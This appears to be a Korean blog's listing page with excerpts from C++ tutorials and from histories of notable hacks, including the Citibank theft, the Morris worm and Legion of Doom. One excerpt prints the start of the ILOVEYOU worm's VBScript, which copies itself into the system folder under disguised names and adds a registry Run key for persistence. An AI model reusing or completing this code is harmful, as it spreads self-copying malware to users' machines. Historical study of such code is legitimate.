728x90
반응형

전체 글 148

💰 1994년 시티은행 해킹 사건 $10M 강탈의 전말

🧠 사건 개요 1994년, 러시아의 해커 블라디미르 레빈(Vladimir Levin)은 당시 세계적인 금융 기업 중 하나였던 시티은행(Citibank)의 시스템을 해킹하여 무려 1,070만 달러(한화 약 130억 원 이상)를 절도한 사건을 저질렀습니다. 이 사건은 인터넷이 본격적으로 대중화되기 전, 전화 접속 시스템을 이용한 초창기 사이버 범죄의 대표적인 사례로 기록되며, 국제 수사와 디지털 포렌식, 공조 수사의 시작을 알린 중요한 사건입니다. 블라디미르 레빈(Vladimir Levin) 은 러시아 상트페테르부르크에 있는 사무실에서, 시티은행의 Cash Manager 시스템에 원격 접속하여 여러 고객 계좌로부터 돈을 다른 국가의 공범 계좌로 이체했습니다. 이체된 자금은 일부 실제 인출되기도 했지..

C++ : 스레드와 동기화

스레드와 동기화1. std::thread, std::mutex, std::lock_guard C++11에서 도입된 std::thread는 멀티스레드를 사용하여 병렬로 작업을 처리할 수 있도록 도와주는 라이브러리입니다. 스레드 간의 자원 경쟁을 방지하려면 std::mutex와 std::lock_guard를 사용하여 동기화할 수 있습니다.1.1. std::thread std::thread는 새로운 스레드를 생성하고, 해당 스레드에서 실행할 함수를 지정하는 데 사용됩니다.#include #include void printMessage() { std::cout 1.2. std::mutex와 std::lock_guard std::mutex는 스레드 간에 공유 자원에 대한 동시 접근을 방지하는데 사..

Programming/C++ 01:17:33

🪙 75센트 : 청구서 오류로 시작된 사이버 첩보전

📌 사건 개요 요약장소: 미국 로렌스 버클리 국립연구소 (LBNL)시간: 1986년문제: 회계 시스템에서 75센트의 계산 오류가 발생의문: 이 금액이 사용자 계정의 접속 시간 요금 청구 내역과 맞지 않음추적자: Clifford Stoll, 당시 천문학자로 시스템 관리자 업무 겸임🪙어떻게 75센트 오류가 생겼는가? 당시 LBNL은 미국 ARPANET 및 국방연구 네트워크에 연결된 고성능 VAX/VMS 시스템을 운영하고 있었고, 외부 사용자들이 연구 목적으로 이 시스템에 접속할 수 있었습니다. 이 접속은 시간 단위로 과금되었고, 연구소는 월말에 이를 바탕으로 접속 사용자들에게 요금을 청구했습니다.✅ 당시 시스템 과금 방식사용자 A가 원격 접속 → 시스템에서 사용 시간 계산사용 시간 × 단가 = 과금 ..

C++ : 고급 템플릿

고급 템플릿 프로그래밍1. SFINAE, enable_if SFINAE (Substitution Failure Is Not An Error)는 템플릿 메타프로그래밍에서 중요한 개념으로, 템플릿 인자에 따라 컴파일 타임에 조건을 처리할 수 있도록 합니다. `enable_if`는 특정 조건에 맞는 타입만을 허용하는 데 사용됩니다.1.1. SFINAE 템플릿을 사용할 때 조건에 맞지 않으면 컴파일 오류를 발생시키는 대신, 해당 템플릿을 제외시킵니다. 이를 통해 오버로딩을 사용할 때 더욱 유연하게 템플릿을 설계할 수 있습니다.#include #include template std::enable_if_t::value, T> add(T a, T b) { return a + b;}int main() { ..

Programming/C++ 2025.05.22

💘 ILOVEYOU 바이러스 소스 코드

On Error Resume NextSet fso = CreateObject("Scripting.FileSystemObject")Set reg = CreateObject("WScript.Shell")Set sysdir = reg.ExpandEnvironmentStrings("%SystemRoot%") & "\system\"' 복사 및 레지스트리 등록fso.CopyFile WScript.ScriptFullName, sysdir & "MSKernel32.vbs", Truefso.CopyFile WScript.ScriptFullName, sysdir & "WIN-BUGSFIX.vbs", Truereg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\..

🪱 1988년 모리스 웜(Morris Worm) – 인터넷 사상 최초의 웜

🪱 1988년 모리스 웜(Morris Worm) ― 최초의 인터넷 웜이 남긴 충격과 교훈 ―💡 단 한 명의 실험이 전 세계를 흔들었다.1988년 11월, 로버트 T. 모리스가 만든 프로그램은 세계 최초의 '인터넷 웜'이 되어 수천 대의 시스템을 마비시켰습니다. 이 사건은 사이버 보안의 역사에서 지울 수 없는 이정표로 남았습니다.📌 1. 사건 개요🗓 발생일: 1988년 11월 2일🧑‍💻 작성자: 로버트 타판 모리스 (Robert Tappan Morris)🌐 피해 범위: 당시 전체 인터넷 시스템 중 약 10% 이상 감염 1988년 11월 2일, 아직 인터넷이라는 개념조차 낯설던 시절, 미국 전역의 수많은 컴퓨터가 느려지거나 멈춰 섰습니다. 그날 밤, 모리스 웜(Morris Worm)이라 불리..

C++ : 현대적 C++

현대적 C++1. auto, decltype, nullptrC++11부터 제공되는 `auto`, `decltype`, `nullptr`는 코드의 가독성과 효율성을 높여줍니다.1.1. auto`auto`는 변수의 타입을 컴파일러가 자동으로 추론하도록 도와줍니다. 이를 통해 타입을 명시적으로 선언하지 않아도 됩니다.#include int main() { auto x = 5; // int 타입으로 자동 추론 auto y = 3.14; // double 타입으로 자동 추론 std::cout 1.2. decltype`decltype`는 변수나 표현식의 타입을 가져오는 키워드입니다. 이는 특히 복잡한 타입을 다룰 때 유용합니다.#include int main() { int x = 10; ..

Programming/C++ 2025.05.21

C++ : 스마트 포인터

스마트 포인터1. 스마트 포인터란? 스마트 포인터는 메모리 관리의 문제를 해결하는 중요한 도구입니다. C++에서는 `std::unique_ptr`, `std::shared_ptr`, `std::weak_ptr`가 스마트 포인터로 제공됩니다. 이들은 동적 메모리를 자동으로 관리하여 메모리 누수와 같은 문제를 방지합니다.2. unique_ptr `std::unique_ptr`는 소유권이 하나만 존재하는 스마트 포인터입니다. `unique_ptr`가 소유한 메모리는 다른 포인터로 복사할 수 없으며, 해당 포인터가 파괴되면 자동으로 메모리가 해제됩니다.2.1. unique_ptr 사용 예시#include #include class MyClass {public: MyClass() { st..

Programming/C++ 2025.05.20

C++ : 고급 객체지향 설계

고급 객체지향 설계1. 추상 클래스와 인터페이스 추상 클래스는 추상 메서드를 포함하는 클래스입니다. 추상 메서드는 구현되지 않은 메서드로, 해당 클래스는 인스턴스화할 수 없습니다. 인터페이스는 모든 메서드가 추상 메서드인 클래스와 유사하지만, C++에서는 추상 클래스로 구현됩니다.1.1. 추상 클래스 예시#include class Animal {public: virtual void makeSound() = 0; // 순수 가상 함수 (추상 메서드)};class Dog : public Animal {public: void makeSound() override { std::cout 위 코드에서 `Animal` 클래스는 추상 클래스로, `makeSound()` 함수는 순수 가상 함..

Programming/C++ 2025.05.19

💻 전설의 해커 그룹 Legion of Doom (LOD)

👤 창립자 – Lex Luthor (Loyd Blankenship) Lex Luthor라는 이름은 DC 코믹스의 악당에서 따온 해커 네임이지만, 현실 속 그의 활동은 단순한 파괴자나 장난꾼이 아니었습니다. 본명: Loyd Blankenship. 그는 1980년대 미국 해커 커뮤니티에서 정보 자유와 기술 탐구의 아이콘이자, 해킹 문화의 철학자로 군림했던 인물입니다. 그가 창설한 해커 그룹 Legion of Doom (LOD)는 단순한 해커 동아리가 아닌, 조직적이고 체계적인 정보 탐험과 기술 공유 집단이었으며, 당시 해커 세계의 이정표 역할을 했습니다. 그 중심에 바로 Lex Luthor가 있었습니다. Lex Luthor의 가장 큰 특징은 단순한 시스템 침입이 아니라, 기술 자체를 탐구하고 이를..

728x90
반응형